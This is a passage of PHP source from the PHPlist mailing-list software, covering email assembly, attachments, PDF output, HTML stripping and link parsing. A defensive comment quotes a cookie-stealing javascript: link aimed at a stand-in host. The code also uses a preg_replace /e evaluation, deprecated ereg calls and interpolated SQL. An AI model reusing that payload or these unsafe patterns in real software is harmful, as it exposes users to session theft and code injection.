  542. ## build the email
  543. if (!PHPMAILER) {
  544. $mail = new html_mime_mail(
  545. array('X-Mailer: PHPlist v'.VERSION,
  546. "X-MessageId: $messageid",
  547. "X-ListMember: $email",
  548. "Precedence: bulk",
  549. "List-Help: <".$text["preferences"].">",
  550. "List-Unsubscribe: <".$text["unsubscribe"].">",
  551. "List-Subscribe: <".getConfig("subscribeurl").">",
  552. "List-Owner: <mailto:".getConfig("admin_address").">"
  553. ));
  554. } else {
  555. $mail = new PHPlistMailer($messageid,$destinationemail);
  556. if ($forwardedby) {
  557. $mail->add_timestamp();
  558. }
  559. #$mail->IsSMTP();
  560. }
  561. list($dummy,$domaincheck) = split('@',$destinationemail);
  562. $text_domains = explode("\n",trim(getConfig("alwayssendtextto")));
  563. if (in_array($domaincheck,$text_domains)) {
  564. $htmlpref = 0;
  565. if (VERBOSE)
  566. output($GLOBALS['I18N']->get('sendingtextonlyto')." $domaincheck");
  567. }
  568. list($dummy,$domaincheck) = split('@',$email);
  569. $text_domains = explode("\n",trim(getConfig("alwayssendtextto")));
  570. if (in_array($domaincheck,$text_domains)) {
  571. $htmlpref = 0;
  572. if (VERBOSE)
  573. output("Sending text only to $domaincheck");
  574. }
  575. # so what do we actually send?
  576. switch($cached[$messageid]["sendformat"]) {
  577. case "HTML":
  578. // # send html to users who want it and text to everyone else
  579. // if ($htmlpref) {
  580. // Sql_Query("update {$GLOBALS["tables"]["message"]} set ashtml = ashtml + 1 where id = $messageid");
  581. // if (ENABLE_RSS && sizeof($rssitems))
  582. // updateRSSStats($rssitems,"ashtml");
  583. // # dbg("Adding HTML ".$cached[$messageid]["templateid"]);
  584. // $mail->add_html($htmlmessage,"",$cached[$messageid]["templateid"]);
  585. // addAttachments($messageid,$mail,"HTML");
  586. // } else {
  587. // Sql_Query("update {$GLOBALS["tables"]["message"]} set astext = astext + 1 where id = $messageid");
  588. // if (ENABLE_RSS && sizeof($rssitems))
  589. // updateRSSStats($rssitems,"astext");
  590. // $mail->add_text($textmessage);
  591. // addAttachments($messageid,$mail,"text");
  592. // }
  593. // break;
  594. case "both":
  595. case "text and HTML":
  596. # send one big file to users who want html and text to everyone else
  597. if ($htmlpref) {
  598. Sql_Query("update {$GLOBALS["tables"]["message"]} set ashtml = ashtml + 1 where id = $messageid");
  599. if (ENABLE_RSS && sizeof($rssitems))
  600. updateRSSStats($rssitems,"ashtml");
  601. # dbg("Adding HTML ".$cached[$messageid]["templateid"]);
  602. ## wrap it: http://mantis.phplist.com/view.php?id=15528
  603. $htmlmessage = wordwrap($htmlmessage, 60, "\r\n");
  604. $mail->add_html($htmlmessage,$textmessage,$cached[$messageid]["templateid"]);
  605. addAttachments($messageid,$mail,"HTML");
  606. } else {
  607. Sql_Query("update {$GLOBALS["tables"]["message"]} set astext = astext + 1 where id = $messageid");
  608. if (ENABLE_RSS && sizeof($rssitems))
  609. updateRSSStats($rssitems,"astext");
  610. $mail->add_text($textmessage);
  611. addAttachments($messageid,$mail,"text");
  612. }
  613. break;
  614. case "PDF":
  615. # send a PDF file to users who want html and text to everyone else
  616. if (ENABLE_RSS && sizeof($rssitems))
  617. updateRSSStats($rssitems,"astext");
  618. if ($htmlpref) {
  619. Sql_Query("update {$GLOBALS["tables"]["message"]} set aspdf = aspdf + 1 where id = $messageid");
  620. $pdffile = createPdf($textmessage);
  621. if (is_file($pdffile) && filesize($pdffile)) {
  622. $fp = fopen($pdffile,"r");
  623. if ($fp) {
  624. $contents = fread($fp,filesize($pdffile));
  625. fclose($fp);
  626. unlink($pdffile);
  627. $html = '<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
  628. <html>
  629. <head>
  630. <title></title>
  631. </head>
  632. <body>
  633. <embed src="message.pdf" width="450" height="450" href="message.pdf"></embed>
  634. </body>
  635. </html>';
  636. # $mail->add_html($html,$textmessage);
  637. # $mail->add_text($textmessage);
  638. $mail->add_attachment($contents,
  639. "message.pdf",
  640. "application/pdf");
  641. }
  642. }
  643. addAttachments($messageid,$mail,"HTML");
  644. } else {
  645. Sql_Query("update {$GLOBALS["tables"]["message"]} set astext = astext + 1 where id = $messageid");
  646. $mail->add_text($textmessage);
  647. addAttachments($messageid,$mail,"text");
  648. }
  649. break;
  650. case "text and PDF":
  651. if (ENABLE_RSS && sizeof($rssitems))
  652. updateRSSStats($rssitems,"astext");
  653. # send a PDF file to users who want html and text to everyone else
  654. if ($htmlpref) {
  655. Sql_Query("update {$GLOBALS["tables"]["message"]} set astextandpdf = astextandpdf + 1 where id = $messageid");
  656. $pdffile = createPdf($textmessage);
  657. if (is_file($pdffile) && filesize($pdffile)) {
  658. $fp = fopen($pdffile,"r");
  659. if ($fp) {
  660. $contents = fread($fp,filesize($pdffile));
  661. fclose($fp);
  662. unlink($pdffile);
  663. $html = '<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
  664. <html>
  665. <head>
  666. <title></title>
  667. </head>
  668. <body>
  669. <embed src="message.pdf" width="450" height="450" href="message.pdf"></embed>
  670. </body>
  671. </html>';
  672. # $mail->add_html($html,$textmessage);
  673. $mail->add_text($textmessage);
  674. $mail->add_attachment($contents,
  675. "message.pdf",
  676. "application/pdf");
  677. }
  678. }
  679. addAttachments($messageid,$mail,"HTML");
  680. } else {
  681. Sql_Query("update {$GLOBALS["tables"]["message"]} set astext = astext + 1 where id = $messageid");
  682. $mail->add_text($textmessage);
  683. addAttachments($messageid,$mail,"text");
  684. }
  685. break;
  686. case "text":
  687. default:
  688. # send as text
  689. if (ENABLE_RSS && sizeof($rssitems))
  690. updateRSSStats($rssitems,"astext");
  691. Sql_Query("update {$GLOBALS["tables"]["message"]} set astext = astext + 1 where id = $messageid");
  692. $mail->add_text($textmessage);
  693. addAttachments($messageid,$mail,"text");
  694. break;
  695. }
  696. $mail->build_message(
  697. array(
  698. "html_charset" => $cached[$messageid]["html_charset"],
  699. "html_encoding" => HTMLEMAIL_ENCODING,
  700. "text_charset" => $cached[$messageid]["text_charset"],
  701. "text_encoding" => TEXTEMAIL_ENCODING)
  702. );
  703. if (!TEST) {
  704. if ($hash != 'forwarded' || !sizeof($forwardedby)) {
  705. $fromname = $cached[$messageid]["fromname"];
  706. $fromemail = $cached[$messageid]["fromemail"];
  707. $subject = $cached[$messageid]["subject"];
  708. } else {
  709. $fromname = '';
  710. $fromemail = $forwardedby['email'];
  711. $subject = $GLOBALS['strFwd'].': '.$cached[$messageid]["subject"];
  712. }
  713. if (!$mail->send("", $destinationemail, $fromname, $fromemail, $subject)) {
  714. logEvent("Error sending message $messageid to $email ($destinationemail)");
  715. return 0;
  716. } else {
  717. return 1;
  718. }
  719. }
  720. return 0;
  721. }
  722. function addAttachments($msgid,&$mail,$type) {
  723. global $attachment_repository,$website;
  724. if (ALLOW_ATTACHMENTS) {
  725. $req = Sql_Query("select * from {$GLOBALS["tables"]["message_attachment"]},{$GLOBALS["tables"]["attachment"]}
  726. where {$GLOBALS["tables"]["message_attachment"]}.attachmentid = {$GLOBALS["tables"]["attachment"]}.id and
  727. {$GLOBALS["tables"]["message_attachment"]}.messageid = $msgid");
  728. if (!Sql_Affected_Rows())
  729. return;
  730. if ($type == "text") {
  731. $mail->append_text($GLOBALS["strAttachmentIntro"]."\n");
  732. }
  733. while ($att = Sql_Fetch_array($req)) {
  734. switch ($type) {
  735. case "HTML":
  736. if (is_file($GLOBALS["attachment_repository"]."/".$att["filename"]) && filesize($GLOBALS["attachment_repository"]."/".$att["filename"])) {
  737. $fp = fopen($GLOBALS["attachment_repository"]."/".$att["filename"],"r");
  738. if ($fp) {
  739. $contents = fread($fp,filesize($GLOBALS["attachment_repository"]."/".$att["filename"]));
  740. fclose($fp);
  741. $mail->add_attachment($contents,
  742. basename($att["remotefile"]),
  743. $att["mimetype"]);
  744. }
  745. } elseif (is_file($att["remotefile"]) && filesize($att["remotefile"])) {
  746. # handle local filesystem attachments
  747. $fp = fopen($att["remotefile"],"r");
  748. if ($fp) {
  749. $contents = fread($fp,filesize($att["remotefile"]));
  750. fclose($fp);
  751. $mail->add_attachment($contents,
  752. basename($att["remotefile"]),
  753. $att["mimetype"]);
  754. list($name,$ext) = explode(".",basename($att["remotefile"]));
  755. # create a temporary file to make sure to use a unique file name to store with
  756. $newfile = tempnam($GLOBALS["attachment_repository"],$name);
  757. $newfile .= ".".$ext;
  758. $newfile = basename($newfile);
  759. $fd = fopen( $GLOBALS["attachment_repository"]."/".$newfile, "w" );
  760. fwrite( $fd, $contents );
  761. fclose( $fd );
  762. # check that it was successful
  763. if (filesize($GLOBALS["attachment_repository"]."/".$newfile)) {
  764. Sql_Query(sprintf('update %s set filename = "%s" where id = %d',
  765. $GLOBALS["tables"]["attachment"],$newfile,$att["attachmentid"]));
  766. } else {
  767. # now this one could be sent many times, so send only once per run
  768. if (!isset($GLOBALS[$att["remotefile"]."_warned"])) {
  769. logEvent("Unable to make a copy of attachment ".$att["remotefile"]." in repository");
  770. $msg = "Error, when trying to send message $msgid the filesystem attachment
  771. ".$att["remotefile"]." could not be copied to the repository. Check for permissions.";
  772. sendMail(getConfig("report_address"),"Mail list error",$msg,"");
  773. $GLOBALS[$att["remotefile"]."_warned"] = time();
  774. }
  775. }
  776. } else {
  777. logEvent("failed to open attachment ".$att["remotefile"]." to add to message $msgid ");
  778. }
  779. } else {
  780. logEvent("Attachment ".$att["remotefile"]." does not exist");
  781. $msg = "Error, when trying to send message $msgid the attachment
  782. ".$att["remotefile"]." could not be found";
  783. sendMail(getConfig("report_address"),"Mail list error",$msg,"");
  784. }
  785. break;
  786. case "text":
  787. $viewurl = $GLOBALS["scheme"]."://".$website.$GLOBALS["pageroot"].'/dl.php?id='.$att["id"];
  788. $mail->append_text($att["description"]."\n".$GLOBALS["strLocation"].": ".$viewurl."\n");
  789. break;
  790. }
  791. }
  792. }
  793. }
  794. function createPDF($text) {
  795. if (!isset($GLOBALS["pdf_font"])) {
  796. $GLOBALS["pdf_font"] = 'Arial';
  797. $GLOBALS["pdf_fontsize"] = 12;
  798. }
  799. $pdf=new FPDF();
  800. $pdf->SetCreator("PHPlist version ".VERSION);
  801. $pdf->Open();
  802. $pdf->AliasNbPages();
  803. $pdf->AddPage();
  804. $pdf->SetFont($GLOBALS["pdf_font"],$GLOBALS["pdf_fontstyle"],$GLOBALS["pdf_fontsize"]);
  805. $pdf->Write((int)$GLOBALS["pdf_fontsize"]/2,$text);
  806. $fname = tempnam($GLOBALS["tmpdir"],"pdf");
  807. $pdf->Output($fname,false);
  808. return $fname;
  809. }
  810. function replaceChars($text) {
  811. // $document should contain an HTML document.
  812. // This will remove HTML tags, javascript sections
  813. // and white space. It will also convert some
  814. // common HTML entities to their text equivalent.
  815. $search = array ("'&(quot|#34);'i", // Replace html entities
  816. "'&(amp|#38);'i",
  817. "'&(lt|#60);'i",
  818. "'&(gt|#62);'i",
  819. "'&(nbsp|#160);'i",
  820. "'&(iexcl|#161);'i",
  821. "'&(cent|#162);'i",
  822. "'&(pound|#163);'i",
  823. "'&(copy|#169);'i",
  824. "'&#(\d+);'e"); // evaluate as php
  825. $replace = array ("\"",
  826. "&",
  827. "<",
  828. ">",
  829. " ",
  830. chr(161),
  831. chr(162),
  832. chr(163),
  833. chr(169),
  834. "chr(\\1)");
  835. $text = preg_replace ($search, $replace, $text);
  836. # eze
  837. # $text = html_entity_decode ( $text , ENT_QUOTES , $GLOBALS['strCharSet'] );
  838. $text = html_entity_decode ( $text , ENT_QUOTES , 'UTF-8' );
  839. return $text;
  840. }
  841. function mailto2href($text) {
  842. # converts <mailto:blabla> link to <a href="blabla"> links
  843. #~Bas 0008857
  844. $text = preg_replace("/(.*@.*\..*) *<mailto:(\\1[^>]*)>/Umis","[URLTEXT]\\1[ENDURLTEXT][LINK]\\2[ENDLINK]\n",$text);
  845. $text = preg_replace("/<mailto:(.*@.*\..*)(\?.*)?>/Umis","[URLTEXT]\\1[ENDURLTEXT][LINK]\\1\\2[ENDLINK]\n",$text);
  846. $text = preg_replace("/\[URLTEXT\](.*)\[ENDURLTEXT\]\[LINK\](.*)\[ENDLINK\]/Umis",'<a href="mailto:\\2">\\1</a>',$text);
  847. return $text;
  848. };
  849. function linkencode($p_url){
  850. # URL Encode only the 'variable' parts of links, not the slashes in the path or the @ in an email address
  851. # from http://ar.php.net/manual/nl/function.rawurlencode.php
  852. # improved to handle mailto links properly
  853. #~Bas 0008857
  854. $uparts = @parse_url($p_url);
  855. $scheme = array_key_exists('scheme',$uparts) ? $uparts['scheme'] : "";
  856. $pass = array_key_exists('pass',$uparts) ? $uparts['pass'] : "";
  857. $user = array_key_exists('user',$uparts) ? $uparts['user'] : "";
  858. $port = array_key_exists('port',$uparts) ? $uparts['port'] : "";
  859. $host = array_key_exists('host',$uparts) ? $uparts['host'] : "";
  860. $path = array_key_exists('path',$uparts) ? $uparts['path'] : "";
  861. $query = array_key_exists('query',$uparts) ? $uparts['query'] : "";
  862. $fragment = array_key_exists('fragment',$uparts) ? $uparts['fragment'] : "";
  863. if(!empty($scheme))
  864. if($scheme == "mailto") {
  865. $scheme .= ':';
  866. } else {
  867. $scheme .= '://';
  868. };
  869. if(!empty($pass) && !empty($user)) {
  870. $user = rawurlencode($user).':';
  871. $pass = rawurlencode($pass).'@';
  872. } elseif(!empty($user))
  873. $user .= '@';
  874. if(!empty($port) && !empty($host))
  875. $host = ''.$host.':';
  876. elseif(!empty($host))
  877. $host=$host;
  878. if(!empty($path)){
  879. $arr = preg_split("/([\/;=@])/", $path, -1, PREG_SPLIT_DELIM_CAPTURE); // needs php > 4.0.5.
  880. $path = "";
  881. foreach($arr as $var){
  882. switch($var){
  883. case "/":
  884. case ";":
  885. case "=":
  886. case "@":
  887. $path .= $var;
  888. break;
  889. default:
  890. $path .= rawurlencode($var);
  891. }
  892. }
  893. // legacy patch for servers that need a literal /~username
  894. $path = str_replace("/%7E","/~",$path);
  895. }
  896. if(!empty($query)){
  897. $arr = preg_split("/([&=])/", $query, -1, PREG_SPLIT_DELIM_CAPTURE); // needs php > 4.0.5.
  898. $query = "?";
  899. foreach($arr as $var){
  900. if( "&" == $var || "=" == $var )
  901. $query .= $var;
  902. else
  903. $query .= rawurlencode($var);
  904. }
  905. }
  906. if(!empty($fragment))
  907. $fragment = '#'.urlencode($fragment);
  908. return implode('', array($scheme, $user, $pass, $host, $port, $path, $query, $fragment));
  909. }
  910. function encodeLinks($text) {
  911. #~Bas Find and properly encode all links.
  912. preg_match_all("/<a(.*)href=[\"\'](.*)[\"\']([^>]*)>/Umis", $text, $links);
  913. foreach ($links[0] as $matchindex => $fullmatch) {
  914. $linkurl = $links[2][$matchindex];
  915. $linkreplace = '<a' . $links[1][$matchindex] . ' href="' . linkencode($linkurl) . '"' . $links[3][$matchindex] .'>';
  916. $text = str_replace($fullmatch,$linkreplace,$text);
  917. }
  918. return $text;
  919. }
  920. function stripHTML($text) {
  921. # strip HTML, and turn links into the full URL
  922. $text = preg_replace("/\r/","",$text);
  923. #$text = preg_replace("/\n/","###NL###",$text);
  924. $text = preg_replace("/<script[^>]*>(.*?)<\/script\s*>/is","",$text);
  925. $text = preg_replace("/<style[^>]*>(.*?)<\/style\s*>/is","",$text);
  926. # would prefer to use < and > but the strip tags below would erase that.
  927. # $text = preg_replace("/<a href=\"(.*?)\"[^>]*>(.*?)<\/a>/is","\\2\n{\\1}",$text,100);
  928. # $text = preg_replace("/<a href=\"(.*?)\"[^>]*>(.*?)<\/a>/is","[URLTEXT]\\2[/URLTEXT][LINK]\\1[/LINK]",$text,100);
  929. $text = preg_replace("/<a[^>]*href=[\"\'](.*)[\"\'][^>]*>(.*)<\/a>/Umis","[URLTEXT]\\2[ENDURLTEXT][LINK]\\1[ENDLINK]\n",$text);
  930. $text = preg_replace("/<b>(.*?)<\/b\s*>/is","*\\1*",$text);
  931. $text = preg_replace("/<h[\d]>(.*?)<\/h[\d]\s*>/is","**\\1**\n",$text);
  932. # $text = preg_replace("/\s+/"," ",$text);
  933. $text = preg_replace("/<i>(.*?)<\/i\s*>/is","/\\1/",$text);
  934. $text = preg_replace("/<\/tr\s*?>/i","<\/tr>\n\n",$text);
  935. $text = preg_replace("/<\/p\s*?>/i","<\/p>\n\n",$text);
  936. $text = preg_replace("/<br[^>]*?>/i","<br>\n",$text);
  937. $text = preg_replace("/<br[^>]*?\/>/i","<br\/>\n",$text);
  938. $text = preg_replace("/<table/i","\n\n<table",$text);
  939. $text = strip_tags($text);
  940. # find all URLs and replace them back
  941. preg_match_all('~\[URLTEXT\](.*)\[ENDURLTEXT\]\[LINK\](.*)\[ENDLINK\]~Umis', $text, $links);
  942. foreach ($links[0] as $matchindex => $fullmatch) {
  943. $linktext = $links[1][$matchindex];
  944. $linkurl = $links[2][$matchindex];
  945. # check if the text linked is a repetition of the URL
  946. if (trim($linktext) == trim($linkurl) ||
  947. 'http://'.trim($linktext) == trim($linkurl)) {
  948. $linkreplace = $linkurl;
  949. } else {
  950. $linkreplace = $linktext.' <'.$linkurl.'>';
  951. }
  952. # $text = preg_replace('~'.preg_quote($fullmatch).'~',$linkreplace,$text);
  953. $text = str_replace($fullmatch,$linkreplace,$text);
  954. }
  955. $text = preg_replace("/<a href=[\"\'](.*?)[\"\'][^>]*>(.*?)<\/a>/is","[URLTEXT]\\2[ENDURLTEXT][LINK]\\1[ENDLINK]",$text,500);
  956. $text = replaceChars($text);
  957. $text = preg_replace("/###NL###/","\n",$text);
  958. # reduce whitespace
  959. while (preg_match("/ /",$text))
  960. $text = preg_replace("/ /"," ",$text);
  961. while (preg_match("/\n\s*\n\s*\n/",$text))
  962. $text = preg_replace("/\n\s*\n\s*\n/","\n\n",$text);
  963. $text = wordwrap($text,70);
  964. return $text;
  965. }
  966. function parseText($text) {
  967. # bug in PHP? get rid of newlines at the beginning of text
  968. $text = ltrim($text);
  969. # make urls and emails clickable
  970. $text = eregi_replace("([\._a-z0-9-]+@[\.a-z0-9-]+)",'<a href="mailto:\\1" class="email">\\1</a>',$text);
  971. $link_pattern="/(.*)<a.*href\s*=\s*\"(.*?)\"\s*(.*?)>(.*?)<\s*\/a\s*>(.*)/is";
  972. $i=0;
  973. while (preg_match($link_pattern, $text, $matches)){
  974. $url=$matches[2];
  975. $rest = $matches[3];
  976. if (!preg_match("/^(http:)|(mailto:)|(ftp:)|(https:)/i",$url)){
  977. # avoid this
  978. #<a href="javascript:window.open('http://hacker.com?cookie='+document.cookie)">
  979. $url = preg_replace("/:/","",$url);
  980. }
  981. $link[$i]= '<a href="'.$url.'" '.$rest.'>'.$matches[4].'</a>';
  982. $text = $matches[1]."%%$i%%".$matches[5];
  983. $i++;
  984. }
  985. $text = preg_replace("/(www\.[a-zA-Z0-9\.\/#~:?+=&%@!_\\-]+)/i", "http://\\1" ,$text);#make www. -> http://www.
  986. $text = preg_replace("/(https?:\/\/)http?:\/\//i", "\\1" ,$text);#take out duplicate schema
  987. $text = preg_replace("/(ftp:\/\/)http?:\/\//i", "\\1" ,$text);#take out duplicate schema
  988. $text = preg_replace("/(https?:\/\/)(?!www)([a-zA-Z0-9\.\/#~:?+=&%@!_\\-]+)/i", "<a href=\"\\1\\2\" class=\"url\" target=\"_blank\">\\2</a>" ,$text); #eg-- http://kernel.org -> <a href"http://kernel.org" target="_blank">http://kernel.org</a>
  989. $text = preg_replace("/(https?:\/\/)(www\.)([a-zA-Z0-9\.\/#~:?+=&%@!\\-_]+)/i", "<a href=\"\\1\\2\\3\" class=\"url\" target=\"_blank\">\\2\\3</a>" ,$text); #eg -- http://www.google.com -> <a href"http://www.google.com" target="_blank">www.google.com</a>
  990. # take off a possible last full stop and move it outside
  991. $text = preg_replace("/<a href=\"(.*?)\.\" class=\"url\" target=\"_blank\">(.*)\.<\/a>/i","<a href=\"\\1\" class=\"url\" target=\"_blank\">\\2</a>." ,$text);
  992. for ($j = 0;$j<$i;$j++) {
  993. $replacement = $link[$j];
  994. $text = preg_replace("/\%\%$j\%\%/",$replacement, $text);
  995. }
  996. # hmm, regular expression choke on some characters in the text
  997. # first replace all the brackets with placeholders.
  998. # we cannot use htmlspecialchars or addslashes, because some are needed
  999. $text = ereg_replace("\(","<!--LB-->",$text);
  1000. $text = ereg_replace("\)","<!--RB-->",$text);
  1001. $text = preg_replace('/\$/',"<!--DOLL-->",$text);
  1002. # @@@ to be xhtml compabible we'd have to close the <p> as well
  1003. # so for now, just make it two br/s, which will be done by replacing
  1004. # \n with <br/>
  1005. # $paragraph = '<p>';
  1006. $br = '<br />';
  1007. $text = ereg_replace("\r","",$text);
  1008. # $text = ereg_replace("\n\n","\n".$paragraph,$text);
  1009. $text = ereg_replace("\n","$br\n",$text);
  1010. # reverse our previous placeholders
  1011. $text = ereg_replace("<!--LB-->","(",$text);
  1012. $text = ereg_replace("<!--RB-->",")",$text);
  1013. $text = ereg_replace("<!--DOLL-->","\$",$text);
  1014. return $text;
  1015. }
  1016. function addHTMLFooter($message,$footer) {
  1017. if (preg_match('#</body>#imUx',$message)) {
  1018. $message = preg_replace('#</body>#',$footer.'</body>',$message);
  1019. } else {
  1020. $message .= $footer;
  1021. }
  1022. return $message;
  1023. }
  1024. # make sure the 0 template has the powered by image
  1025. Sql_Query(sprintf('select * from %s where filename = "%s" and template = 0',
  1026. $GLOBALS["tables"]["templateimage"],"powerphpli…

Large files files are truncated, but you can click here to view the full file